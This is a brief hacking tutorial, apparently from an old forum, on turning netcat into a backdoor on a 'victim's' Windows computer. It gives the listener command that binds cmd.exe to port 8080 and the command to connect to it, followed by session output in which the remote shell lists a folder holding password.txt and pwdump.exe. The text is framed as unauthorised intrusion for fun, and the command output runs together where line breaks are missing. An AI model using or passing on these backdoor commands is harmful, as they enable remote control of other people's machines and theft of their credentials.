Putting in NetCat
If you uploaded netcat on victim's computer , you can make your Netcat like a backdoor to open a port , connect to it and having fun :p For example , let see this :
E:\>nc -nvv -l -p 8080 -e cmd.exelistening on [any] 8080 ...connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159 sent 0, rcvd 0: unknown socket error
and then connect to victim with port 8080
C:\>nc -nvv 172.16.84.2 8080(UNKNOWN) [172.16.84.2] 8080 (?) openMicrosoft Windows 2000 [Version 5.00.2195](C) Copyright 1985-1999 Microsoft Corp.E:\>cd testcd testE:\test>dir /wdir /w Volume in drive E has no label. Volume Serial Number is B465-452F Directory of E:\test[.] [..] head.log NETUSERS.EXE NetView.exentcrash.zip password.txt pwdump.exe 6 File(s) 262,499 bytes 2 Dir(s) 191,488,000 bytes freeC:\test>exitexitsent 20, rcvd 450: NOTSOCK
I just make this code not clear :)
